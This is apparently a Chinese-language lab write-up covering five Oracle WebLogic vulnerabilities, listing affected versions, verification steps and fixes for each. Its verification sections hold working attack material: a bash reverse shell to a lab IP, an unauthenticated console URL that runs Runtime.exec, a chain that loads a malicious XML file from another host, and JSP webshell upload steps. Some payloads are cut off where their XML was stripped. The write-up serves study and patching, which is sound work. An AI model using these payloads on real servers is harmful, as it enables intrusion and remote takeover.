CVE-2017-10271(Weblogic XMLDecoder反序列化漏洞)
1、漏洞原理
2、影响版本
3、漏洞验证
4、修复方案
CVE-2018-2628(Weblogic T3协议反序列化漏洞)
1、漏洞原理
2、影响版本
3、漏洞验证
4、修复方案
CVE-2018-2894(WebLogic 任意文件上传漏洞)
1、漏洞原理
2、影响版本
3、漏洞验证
4、修复方案
CVE-2020-14882、CVE-2020-14883(WebLogic未授权访问、命令执行漏洞)
1、漏洞原理
2、影响版本
3、漏洞验证
4、修复方法
CVE-2014-4210(SSRF)
1、漏洞原理
2、影响版本
3、漏洞验证
4、修复方案
CVE-2017-10271漏洞主要是由WebLogic Server WLS组件远程命令执行漏洞,主要由wls-wsat.war触发该漏洞,触发漏洞url如下:http://IP:7001/wls-wsat/CoordinatorPortType post数据包,通过构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞。
注意:CVE-2017-10271是对CVE-2017-3506 的补丁绕过,将其中的object替换成了void
Weblogic 10.3.6 | 12.1.3.0.0 | 12.2.1.1.0
(1)漏洞地址
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType1
(2)Payload
POC1:反弹shell
/bin/bash
-c
bash -i >& /dev/tcp/192.168.244.128/777 0>&1
POC2:写入后门
(1)根据攻击者利用POC分析发现所利用的为wls-wsat组件的CoordinatorPortType接口,若Weblogic服务器集群中未应用此组件,建议临时备份后将此组件删除,当形成防护能力后,再进行恢复。
(2)下载官方补丁修复。
攻击者利用其他rmi【远程方法调用】绕过weblogic黑名单限制,然后在将加载的内容利用readObject解析,从而造成反序列化远程代码执行该漏洞,该漏洞主要由于T3服务触发,所有开放weblogic控制台7001端口,默认会开启T3服务,攻击者发送构造好的T3协议 数据,就可以获取目标服务器的权限。
Weblogic 10.3.6.0 | 12.1.3.0 | 12.2.1.2 | 12.2.1.3
利用漏洞验证工具进行测试发现存在该漏洞
(1)若通过Nginx/Apache配置反向代理的方式访问Weblogic应用,就限制Weblogic T3的直接访问,此漏洞也将不能直接被利用。
(2)打官方的最新补丁。
Weblogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限。Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制。两个页面分别为/ws_utc/begin.do,/ws_utc/config.do
Weblogic 10.3.6.0 | 12.1.3.0 | 12.2.1.2 | 12.2.1.3
(1)通过http://IP:7001/console访问靶场,进行登录,账号密码随机生成,查询命令:docker-compose logs | grep password
(2)点击base_domain的配置,在“高级”中开启“启用 Web 服务测试页”选项
(3)访问漏洞页面:http://ip:7001/ws_utc/config.do,设置当前工作目录为:/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css,点击提交。
(4)上传shell(jsp马):点击左上角的“安全”,“添加”上传木马文件,并在返回包中知道到时间戳,并通过以下路径访问或连接木马文件:http://ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]
升级到最新版。
CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
weblogic 10.3.6.0 | 12.1.3.0 | 12.2.1.3 | 12.2.1.4 | 14.1.1.0
(1)利用权限绕过漏洞(CVE-2020-14882),直接访问,漏洞URL:http://ip:7001/console/css/%252e%252e%252fconsole.portal或者http://ip:7001/console/images/%252e%252e%252fconsole.portal,其中%252e%252e%252f为../的URL二次编码。
(2)虽然成功登录到后台页面但当前用户是低权限用户,并不能执行命令此时需要用到第二个漏洞CVE-2020-14883。这个漏洞的利用方式有两种,一是通过com.tangosol.coherence.mvel2.sh.ShellSession,二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContex。其中第一种方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类,第二种方法是一种更为通用的方法,最早在CVE-2019-2725被提出,对于所有Weblogic版本均有效。
(2.1)com.tangosol.coherence.mvel2.sh.ShellSession:执行成功好页面显示404,但是在docker容器中查看已成功创建test文件夹,查询命令:docker-compose exec weblogic ls /tmp
POC:
http://IP:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/test%27);%22)
(2.2)com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContex:该方法需要提前将恶意代码部署在任意网站目录下,当访问该木马文件时即可触发,返回界面任是404界面,但是可以正常反弹。
触发方式:
http://192.168.244.128:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.244.1/poc.xml(木马文件路径)")
POC1:反弹shell
bash
-c
& /dev/tcp/IP/端口 0>&1]]>
POC2:创建文件夹
bash
-c
(1)及时下载官方补丁进行升级修复。
(2)关闭后台/console/console.portal的访问权限。
(3)修改后台默认地址
利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。访问http://ip:7001/uddiexplorer/,无需登录即可查看 uddiexplorer 应用。
weblogic 10.0.2 | 10.3.6
访问漏洞测试点:http://IP:7001/uddiexplorer/SearchPublicRegistries.jsp,点击search,利用bp抓包,operator为可控参数,可以利用该漏洞进行内网探测。若该端口开放则返回“returned a 404 error code”,否则返回“could not connect over HTTP to server”
(1)删除uddiexplorer文件夹;限制uddiexplorer应用只能内网访问
(2)将SearchPublicRegistries.jsp直接删除
(3)Weblogic服务端请求伪造漏洞出现在uddi组件(所以安装Weblogic时如果没有选择uddi组件那么就不会有该漏洞),更准确地说是uudi包实现包uddiexplorer.war下的SearchPublicRegistries.jsp。方法三采用的是改后辍的方式,修复步骤如下:
1)将weblogic安装目录下的wlserver_10.3/server/lib/uddiexplorer.war做好备份;
2)将weblogic安装目录下的server/lib/uddiexplorer.war下载;
3)用winrar等工具打开uddiexplorer.war;
4)将其下的SearchPublicRegistries.jsp重命名为SearchPublicRegistries.jspx;
5)保存后上传回服务端替换原先的uddiexplorer.war;
6)对于多台主机组成的集群,针对每台主机都要做这样的操作;
7)由于每个server的tmp目录下都有缓存所以修改后要彻底重启weblogic。